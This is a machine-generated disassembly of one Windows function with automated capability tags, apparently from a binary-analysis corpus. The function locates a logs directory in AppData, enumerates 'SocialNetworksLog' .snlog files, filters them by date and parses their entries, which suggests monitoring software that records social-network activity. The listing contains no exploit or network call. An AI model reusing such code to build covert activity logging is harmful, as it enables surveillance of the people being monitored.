Function at 0x564910
Capabilities:
Contain obfuscated stackstrings
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6611d7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x40], edi
mov dword [ebp - 4], 0
wait
cmp dword [edi + 0x2e4], 0
jne 0x56495e
xor eax, eax
wait
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [edi + 0x318]
call fcn.00526880
push 0xffffffffffffffff
push 0
lea ecx, [edi + 0x364]
call fcn.005618c0
lea ecx, [ebp - 0xd8]
call fcn.00425980
mov byte [ebp - 4], 1
push 0
lea ecx, [edi + 0x5c]
call fcn.005b0d20
push eax
mov ecx, dword [edi + 0x2e4]
call fcn.00413cf0
mov ecx, 0x700724
mov eax, dword [0x700724]
mov edx, dword [eax + 0xc]
call edx
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 2
mov byte [ebp - 4], 3
lea eax, [ebp - 0x58]
push eax
call fcn.005bd6c0
add esp, 4
push 0x104
push 0x104
lea ecx, [ebp - 0x20]
call fcn.00401640
push eax
push str.LogsDir
mov ecx, dword [ebp - 0x58]
push ecx
call fcn.005bd4f0
add esp, 0x10
lea ecx, [ebp - 0x20]
test eax, eax
jne 0x564a52
push 0x104
call fcn.00401640
push eax
push 1
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x564a30
push str.SHGetFolderPathW__0__0x001a__0__SHGFP_TYPE_DEFAULT__strSysDir.GetBuffer__260__
push eax
lea ecx, [ebp - 0x184]
call fcn.0040de50
push 0x6ba4dc
lea edx, [ebp - 0x184]
push edx
call fcn.0060fb01
push 0xffffffffffffffff
lea ecx, [ebp - 0x20]
call fcn.004048d0
push 0x67c074
push str._sData_
lea eax, [ebp - 0x20]
push eax
call fcn.00414990
add esp, 0xc
jmp 0x564a66
push 0xffffffffffffffff
call fcn.004048d0
push str.Data_
lea ecx, [ebp - 0x20]
call fcn.004017a0
mov ecx, 0x700724
mov edx, dword [0x700724]
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 4
mov byte [ebp - 4], 5
mov eax, dword [edi + 0x2e4]
add eax, 0x14
mov ecx, dword [eax]
cmp dword [ecx - 0xc], 0
jle 0x564ac0
push 0x66ea40
push eax
lea edx, [ebp - 0x34]
push edx
call fcn.00428bb0
add esp, 0xc
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x64]
call fcn.004078d0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x34]
call fcn.004014a0
mov eax, dword [edi + 0x2e4]
add eax, 0x10
push eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
call fcn.00428b00
mov byte [ebp - 4], 7
push 0x66ea40
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00428bb0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x64]
push ecx
push eax
lea edx, [ebp - 0x28]
push edx
call fcn.00428b00
mov byte [ebp - 4], 9
push str.SocialNetworksLog
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00428bb0
mov byte [ebp - 4], 0xa
push 0x66f150
push eax
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00428bb0
mov byte [ebp - 4], 0xb
push str.snlog
push eax
lea edx, [ebp - 0x34]
push edx
call fcn.00428bb0
add esp, 0x48
mov byte [ebp - 4], 0xc
mov eax, dword [eax]
lea ecx, [ebp - 0x3d4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x34]
call fcn.004014a0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3c]
call fcn.004014a0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x38]
call fcn.004014a0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x28]
call fcn.004014a0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x18]
call fcn.004014a0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1c]
call fcn.004014a0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
lea ecx, [edi + 0x2a8]
call fcn.004b9330
lea ecx, [edi + 0x2ac]
call fcn.004644a0
push eax
lea ecx, [ebp - 0x68]
call fcn.00401450
mov byte [ebp - 4], 0xd
cmp ebx, 0xffffffff
je 0x564f5b
lea ecx, [ebp - 0x78]
call fcn.00432c80
mov byte [ebp - 4], 0xe
call esi
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x3a8]
push ecx
mov ecx, edi
call fcn.004f2360
test al, al
je 0x564d60
lea edx, [edi + 0x2c4]
push edx
lea ecx, [ebp - 0x100]
call fcn.00425550
push eax
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0xc0]
call fcn.004255a0
mov ecx, eax
call fcn.00425710
test al, al
je 0x564d60
lea ecx, [edi + 0x2b4]
push ecx
lea ecx, [ebp - 0xe0]
call fcn.00425550
push eax
lea edx, [ebp - 0x84]
push edx
lea ecx, [ebp - 0xec]
call fcn.004255a0
mov ecx, eax
call fcn.004256b0
test al, al
je 0x564d60
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x50]
call fcn.004255a0
fld qword [eax]
fstp qword [ebp - 0x118]
mov ecx, dword [edi + 0x2e4]
add ecx, 0x10
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x1c]
push eax
call fcn.00428b00
mov byte [ebp - 4], 0xf
push 0x66ea40
push eax
lea ecx, [ebp - 0x18]
push ecx
call fcn.00428bb0
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0x64]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00428b00
mov byte [ebp - 4], 0x11
push str.SocialNetworksLog
push eax
lea ecx, [ebp - 0x38]
push ecx
call fcn.00428bb0
mov byte [ebp - 4], 0x12
push 0x66ea40
push eax
lea edx, [ebp - 0x3c]
push edx
call fcn.00428bb0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x3a8]
push ecx
push eax
lea edx, [ebp - 0x34]
push edx
call fcn.00428bb0
add esp, 0x48
mov esi, eax
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x78]
call fcn.004315b0
push esi
mov ecx, eax
call fcn.004078d0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x34]
call fcn.004014a0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x3c]
call fcn.004014a0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x38]
call fcn.004014a0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x28]
call fcn.004014a0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x18]
call fcn.004014a0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1c]
call fcn.004014a0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x3d4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x564bd6
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp - 0x74]
mov edi, dword [edx]
mov bl, 0x17
mov dword [ebp - 0x7c], edi
cmp edi, dword [ebp - 0x74]
je 0x564f4c
push 0x66f16a
mov esi, dword [ebp - 0x40]
lea eax, [esi + 0x2ac]
push eax
call fcn.0040b580
add esp, 8
push 0
push 0
test al, al
mov eax, dword [edi + 0x18]
je 0x564eda
lea ecx, [ebp - 0xd8]
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 0xb0], esp
push eax
call fcn.0040bea0
mov byte [ebp - 4], 0x15
mov byte [ebp - 4], 0xe
call fcn.00563a30
add esp, 0x10
xor esi, esi
mov dword [ebp - 0xc8], esi
cmp esi, dword [ebp - 0xd4]
jae 0x564f00
push esi
lea ecx, [ebp - 0xd8]
call fcn.0055ed40
add eax, 0x10
push eax
lea ecx, [ebp - 0x2c]
call fcn.00401450
mov byte [ebp - 4], 0x16
push esi
lea ecx, [ebp - 0xd8]
call fcn.0055ed40
add eax, 0xc
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401450
mov byte [ebp - 4], bl
push esi
lea ecx, [ebp - 0xd8]
call fcn.0055ed40
add eax, 0x14
push eax
lea ecx, [ebp - 0x18]
call fcn.00401450
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x2c]
call fcn.004644a0
lea ecx, [ebp - 0x1c]
call fcn.004644a0
lea ecx, [ebp - 0x18]
call fcn.004644a0
push 0
mov edx, dword [ebp - 0x68]
push edx
lea ecx, [ebp - 0x2c]
call fcn.004144e0
cmp eax, 0xffffffff
jne 0x564e96
push 0
mov eax, dword [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1c]
call fcn.004144e0
cmp eax, 0xffffffff
jne 0x564e96
push 0
mov ecx, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x18]
call fcn.004144e0
cmp eax, 0xffffffff
je 0x564eb1
push esi
lea ecx, [ebp - 0xd8]
call fcn.0055ed40
push eax
mov ecx, dword [ebp - 0x40]
add ecx, 0x364
call fcn.00560320
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x18]
call fcn.004014a0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1c]
call fcn.004014a0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x2c]
call fcn.004014a0
inc esi
jmp 0x564de0
add esi, 0x364
push esi
push ecx
mov ecx, esp
mov dword [ebp - 0xb0], esp
push eax
call fcn.0040bea0
mov byte [ebp - 4], 0x19
mov byte [ebp - 4], 0xe
call fcn.00563a30
add esp, 0x10
cmp byte [edi + 0x21], 0
jne 0x564d89
mov eax, dword [edi + 8]
cmp byte [eax + 0x21], 0
jne 0x564f30
mov edi, eax
mov dword [ebp - 0xc4], edi
mov eax, dword [edi]
cmp byte [eax + 0x21], 0
jne 0x564d86
jmp 0x564f13
mov eax, dword [edi + 4]
cmp byte [eax + 0x21], 0
jne 0x564f45
cmp edi, dword [eax + 8]
jne 0x564f45
mov edi, eax
mov dword [ebp - 0x7c], edi
jmp 0x564f30
mov edi, eax
jmp 0x564d86
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x78]
call fcn.00432c20
mov edi, dword [ebp - 0x40]
xor esi, esi
mov dword [ebp - 0x110], esi
mov dword [ebp - 0x10c], esi
mov dword [ebp - 0x108], esi
mov byte [ebp - 4], 0x1a
push esi
lea edx, [edi + 0x2c4]
push edx
lea eax, [edi + 0x2b4]
push eax
lea ecx, [edi + 0x5c]
call fcn.005b0d20
push eax
mov ecx, dword [edi + 0x2e4]
call fcn.00414080
mov dword [ebp - 0xb0], eax
lea ecx, [ebp - 0x58]
push ecx
call fcn.005bd6c0
add esp, 4
push 0x104
push 0x104
lea ecx, [ebp - 0x20]
call fcn.00401640
push eax
push str.LogsDir
mov edx, dword [ebp - 0x58]
push edx
call fcn.005bd4f0
add esp, 0x10
lea ecx, [ebp - 0x20]
test eax, eax
jne 0x565032
push 0x104
call fcn.00401640
push eax
push 1
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
cmp eax, esi
jge 0x565010
push str.SHGetFolderPathW__0__0x001a__0__SHGFP_TYPE_DEFAULT__strSysDir.GetBuffer__260__
push eax
lea ecx, [ebp - 0x174]
call fcn.0040de50
push 0x6ba4dc
lea eax, [ebp - 0x174]
push eax
call fcn.0060fb01
push 0xffffffffffffffff
lea ecx, [ebp - 0x20]
call fcn.004048d0
push 0x67c074
push str._sData_
lea ecx, [ebp - 0x20]
push ecx
call fcn.00414990
add esp, 0xc
jmp 0x565046
push 0xffffffffffffffff
call fcn.004048d0
push str.Data_
lea ecx, [ebp - 0x20]
call fcn.004017a0
mov edx, dword [edi + 0x2e4]
add edx, 0x10
push edx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x18]
push ecx
call fcn.00428b00
mov byte [ebp - 4], 0x1b
push 0x66ea40
push eax
lea edx, [ebp - 0x28]
push edx
call fcn.00428bb0
mov byte [ebp - 4], 0x1c
push 0x67c0c0
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00428bb0
mov byte [ebp - 4], 0x1d
push 0x66f150
push eax
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00428bb0
mov bl, 0x1e
mov byte [ebp - 4], bl
push 0x67c104
push eax
lea edx, [ebp - 0x34]
push edx
call fcn.00428bb0
add esp, 0x3c
mov byte [ebp - 4], 0x1f
mov eax, dword [eax]
lea ecx, [ebp - 0x3d4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x34]
call fcn.004014a0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x3c]
call fcn.004014a0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x38]
call fcn.004014a0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x28]
call fcn.004014a0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x18]
call fcn.004014a0
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0xffffffff
je 0x56597d
lea ecx, [ebp - 0x164]
call fcn.00432c80
mov byte [ebp - 4], 0x20
lea ecx, [edi + 0x2a8]
call fcn.004b9330
lea esp, [esp]
call ebx
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x3a8]
push ecx
mov ecx, edi
call fcn.004f2360
test al, al
je 0x5652ee
lea edx, [edi + 0x2c4]
push edx
lea ecx, [ebp - 0x100]
call fcn.00425550
push eax
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0xe0]
call fcn.004255a0
mov ecx, eax
call fcn.00425710
test al, al
je 0x5652ee
lea ecx, [edi + 0x2b4]
push ecx
lea ecx, [ebp - 0xec]
call fcn.00425550
push eax
lea edx, [ebp - 0x118]
push edx
lea ecx, [ebp - 0x50]
call fcn.004255a0
mov ecx, eax
call fcn.004256b0
test al, al
je 0x5652ee
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x70]
call fcn.004255a0
fld qword [eax]
fstp qword [ebp - 0xc0]
mov ecx, dword [edi + 0x2e4]
add ecx, 0x10
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x1c]
push eax
call fcn.00428b00
mov byte [ebp - 4], 0x21
push 0x66ea40
push eax
lea ecx, [ebp - 0x18]
push ecx
call fcn.00428bb0
mov byte [ebp - 4], 0x22
push 0x67c0c0
push eax
lea edx, [ebp - 0x28]
push edx
call fcn.00428bb0
mov byte [ebp - 4], 0x23
push 0x66ea40
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00428bb0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x3a8]
push ecx
push eax
lea edx, [ebp - 0x3c]
push edx
call fcn.00428bb0
add esp, 0x3c
mov esi, eax
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x164]
call fcn.004315b0
mov ebx, eax
mov ecx, dword [esi]
lea eax, [ecx - 0x10]
mov esi, dword [ebx]
sub esi, 0x10
cmp eax, esi
je 0x5652a9
cmp dword [esi + 0xc], 0
jl 0x56529d
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x56529d
push eax
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x34], eax
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x565293
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x34]
add ecx, 0x10
mov dword [ebx], ecx
jmp 0x5652a9
mov eax, dword [ecx - 0xc]
push eax
push ecx
mov ecx, ebx
call fcn.00401670
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x3c]
call fcn.004014a0
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x38]
call fcn.004014a0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x28]
call fcn.004014a0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x18]
call fcn.004014a0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x1c]
call fcn.004014a0
mov esi, dword [ebp - 0x2c]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [ebp - 0x3d4]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x565130
call ebx
lea ecx, [edi + 0x2ac]
call fcn.004644a0
push eax
lea ecx, [ebp - 0x48]
call fcn.00401450
mov byte [ebp - 4], 0x26
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
mov dword [ebp - 0x60], ecx
mov esi, ecx
cmp esi, dword [ebp - 0x160]
je 0x56595f
push 0
push 0
lea edx, [ebp - 0x110]
push edx
mov eax, dword [esi + 0x18]
push ecx
mov ecx, esp
mov dword [ebp - 0x80], esp
push eax
call fcn.0040bea0
mov byte [ebp - 4], 0x27
mov byte [ebp - 4], 0x26
call fcn.004efd00
add esp, 0x10
mov ebx, dword [ebp - 0x110]
mov dword [ebp - 0xf8], ebx
cmp ebx, dword [ebp - 0x10c]
je 0x565917
mov dword [ebp - 0x54], 0
jmp 0x565390
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebx + 0x28]
jae 0x56590f
mov esi, eax
push esi
lea ecx, [ebx + 0x24]
call fcn.0055ed20
add eax, 4
push eax
lea ecx, [ebp - 0x2c]
call fcn.00401450
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x2c]
call fcn.004644a0
lea ecx, [ebp - 0xac]
call fcn.0055f760
mov byte [ebp - 4], 0x29
push esi
lea ecx, [ebx + 0x24]
call fcn.0055ed20
xor ecx, ecx
cmp dword [eax + 0xc], ecx
sete cl
mov dword [ebp - 0x9c], ecx
mov eax, dword [ebx + 4]
lea esi, [eax - 0x10]
mov ecx, dword [ebp - 0x8c]
add ecx, 0xfffffff0
mov dword [ebp - 0x18], ecx
cmp esi, ecx
je 0x5654b3
cmp dword [ecx + 0xc], 0
jl 0x5654a3
mov edx, dword [esi]
cmp edx, dword [ecx]
jne 0x5654a3
mov ecx, edx
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
lea ecx, [esi + 0xc]
cmp dword [ecx], 0
jl 0x565436
cmp eax, dword [esi]
jne 0x565436
mov dword [ebp - 0x1c], esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x565476
mov edx, dword [eax]
push 2
mov ecx, dword [esi + 4]
push ecx
mov ecx, eax
mov edx, dword [edx]
call edx
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x565450
call fcn.00404070
mov eax, dword [esi + 4]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 4], eax
mov eax, dword [esi + 4]
lea edx, [eax + eax + 2]
push edx
add esi, 0x10
push esi
lea eax, [eax + eax + 2]
push eax
add ecx, 0x10
push ecx
call fcn.0060fbd3
add esp, 0x10
mov eax, dword [ebp - 0x18]
add eax, 0xc
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x565495
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x10
mov dword [ebp - 0x8c], ecx
jmp 0x5654b3
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp - 0x8c]
call fcn.00401670
mov esi, dword [ebp - 0x54]
push esi
lea ecx, [ebx + 0x24]
call fcn.0055ed20
mov edx, dword [eax + 8]
mov dword [ebp - 0x98], edx
push esi
lea ecx, [ebx + 0x24]
call fcn.0055ed20
mov eax, dword [eax + 4]
lea esi, [eax - 0x10]
mov ecx, dword [ebp - 0x90]
add ecx, 0xfffffff0
mov dword [ebp - 0x18], ecx
cmp esi, ecx
je 0x56559f
cmp dword [ecx + 0xc], 0
jl 0x56558f
mov edx, dword [esi]
cmp edx, dword [ecx]
jne 0x56558f
mov ecx, edx
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
lea ecx, [esi + 0xc]
cmp dword [ecx], 0
jl 0x565522
cmp eax, dword [esi]
jne 0x565522
mov dword [ebp - 0x1c], esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x565562
mov edx, dword [eax]
push 2
mov ecx, dword [esi + 4]
push ecx
mov ecx, eax
mov edx, dword [edx]
call edx
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x56553c
call fcn.00404070
mov eax, dword [esi + 4]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 4], eax
mov eax, dword [esi + 4]
lea edx, [eax + eax + 2]
push edx
add esi, 0x10
push esi
lea eax, [eax + eax + 2]
push eax
add ecx, 0x10
push ecx
call fcn.0060fbd3
add esp, 0x10
mov eax, dword [ebp - 0x18]
add eax, 0xc
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x565581
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x10
mov dword [ebp - 0x90], ecx
jmp 0x56559f
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00401670
push 0x672aa0
lea edx, [ebx + 0xc]
push edx
lea eax, [ebp - 0x3c]
push eax
call fcn.00428bb0
mov byte [ebp - 4], 0x2a
lea ecx, [ebx + 0x10]
push ecx
push eax
lea edx, [ebp - 0x34]
push edx
call fcn.00428b00
add esp, 0x18
mov byte [ebp - 4], 0x2b
mov ecx, eax
call fcn.004014f0
push eax
lea ecx, [ebp - 0x13c]
call fcn.0040aa60
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x13c]
push eax
lea ecx, [ebp - 0x120]
push ecx
call fcn.004f91d0
add esp, 8
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa0], eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x13c]
call fcn.00405700
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x34]
call fcn.004014a0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x3c]
call fcn.004014a0
mov ecx, 0x700724
mov edx, dword [0x700724]
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x6c], eax
mov byte [ebp - 4], 0x2d
mov byte [ebp - 4], 0x2e
sub esp, 0x10
mov eax, esp
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov edx, dword [ebp - 0xa8]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0xa4]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0xa0]
mov dword [eax + 0xc], edx
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebx + 0x20]
call fcn.00561cb0
mov ecx, dword [ebp - 0x40]
mov edx, dword [ecx + 0x2e4]
add edx, 0x10
push edx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x4c]
push ecx
call fcn.00428b00
mov byte [ebp - 4], 0x2f
push 0x66ea40
push eax
lea edx, [ebp - 0x14]
push edx
call fcn.00428bb0
mov byte [ebp - 4], 0x30
push 0x67c0f0
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00428bb0
mov byte [ebp - 4], 0x31
push 0x66ea40
push eax
lea ecx, [ebp - 0x30]
push ecx
call fcn.00428bb0
mov byte [ebp - 4], 0x32
lea edx, [ebp - 0x6c]
push edx
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00428b00
mov byte [ebp - 4], 0x33
push 0x66ea40
push eax
lea ecx, [ebp - 0x28]
push ecx
call fcn.00428bb0
add esp, 0x48
mov esi, eax
mov byte [ebp - 4], 0x34
mov edx, dword [ebp - 0x54]
push edx
lea ecx, [ebx + 0x24]
call fcn.0055ed20
push eax
push esi
lea eax, [ebp - 0x38]
push eax
call fcn.00428b00
add esp, 0xc
mov byte [ebp - 4], 0x35
mov eax, dword [eax]
lea esi, [eax - 0x10]
mov edi, dword [ebp - 0x94]
add edi, 0xfffffff0
cmp esi, edi
je 0x5657f4
cmp dword [edi + 0xc], 0
jl 0x5657e4
mov ecx, dword [esi]
cmp ecx, dword [edi]
jne 0x5657e4
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
lea ecx, [esi + 0xc]
cmp dword [ecx], 0
jl 0x56577d
cmp eax, dword [esi]
jne 0x56577d
mov dword [ebp - 0x18], esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x5657bd
mov edx, dword [eax]
push 2
mov ecx, dword [esi + 4]
push ecx
mov ecx, eax
mov edx, dword [edx]
call edx
mov dword [ebp - 0x18], eax
test eax, eax
jne 0x565797
call fcn.00404070
mov eax, dword [esi + 4]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 4], eax
mov eax, dword [esi + 4]
lea edx, [eax + eax + 2]
push edx
add esi, 0x10
push esi
lea eax, [eax + eax + 2]
push eax
add ecx, 0x10
push ecx
call fcn.0060fbd3
add esp, 0x10
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x5657d6
mov ecx, dword [edi]
mov edx, dword [ecx]
push edi
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x10
mov dword [ebp - 0x94], ecx
jmp 0x5657f4
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.00401670
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x38]
call fcn.004014a0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x28]
call fcn.004014a0
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x44]
call fcn.004014a0
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x30]
call fcn.004014a0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x24]
call fcn.004014a0
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x14]
call fcn.004014a0
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x4c]
call fcn.004014a0
push 0x66f16a
lea edx, [ebp - 0x48]
push edx
call fcn.0040b580
add esp, 8
test al, al
je 0x5658a5
push 0
mov eax, dword [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004144e0
cmp eax, 0xffffffff
je 0x5658dd
cmp dword [ebp - 0x98], 0
jbe 0x5658dd
lea ecx, [ebp - 0xac]
push ecx
mov ecx, 0x714284
call fcn.005603a0
mov edx, dword [0x714288]
dec edx
push edx
lea eax, [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x40]
lea edx, [ecx + 0x364]
push edx
jmp 0x5658d8
cmp dword [ebp - 0x98], 0
jbe 0x5658dd
lea eax, [ebp - 0xac]
push eax
mov ecx, 0x714284
call fcn.005603a0
mov ecx, dword [0x714288]
dec ecx
push ecx
lea edx, [ebp - 0xac]
push edx
mov ecx, dword [ebp - 0x40]
lea eax, [ecx + 0x364]
push eax
call fcn.00560ca0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x6c]
call fcn.004014a0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xac]
call fcn.004270e0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x2c]
call fcn.004014a0
inc dword [ebp - 0x54]
mov esi, dword [ebp - 0x60]
jmp 0x565390
add ebx, 0x34
jmp 0x56536e
cmp byte [esi + 0x21], 0
jne 0x565332
mov eax, dword [esi + 8]
cmp byte [eax + 0x21], 0
jne 0x565940
mov esi, eax
mov dword [ebp - 0xe4], esi
mov eax, dword [esi]
cmp byte [eax + 0x21], 0
jne 0x565957
jmp 0x56592a
mov eax, dword [esi + 4]
cmp byte [eax + 0x21], 0
jne 0x565955
cmp esi, dword [eax + 8]
jne 0x565955
mov esi, eax
mov dword [ebp - 0x60], esi
jmp 0x565940
mov esi, eax
mov dword [ebp - 0x60], esi
jmp 0x565332
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x48]
call fcn.004014a0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x164]
call fcn.00432c20
mov edi, dword [ebp - 0x40]
mov ecx, dword [edi + 0x34]
mov dword [ebp - 0x80], ecx
mov dl, byte [edi + 0x30]
mov byte [ebp - 0x114], dl
mov dword [0x6f79d8], 0
lea ecx, [edi + 4]
call fcn.004a1380
lea eax, [ebp - 0x5c]
push eax
push str.ItemsPerPage
mov ecx, dword [ebp - 0x58]
push ecx
call fcn.005bd460
add esp, 0xc
test eax, eax
jne 0x5659cf
push 0x1f4
push str.ItemsPerPage
mov edx, dword [ebp - 0x58]
push edx
call fcn.005bd4b0
add esp, 0xc
jmp 0x5659d5
cmp dword [ebp - 0x5c], 0
jne 0x5659dc
mov dword [ebp - 0x5c], 0x1f4
mov eax, dword [ebp - 0x58]
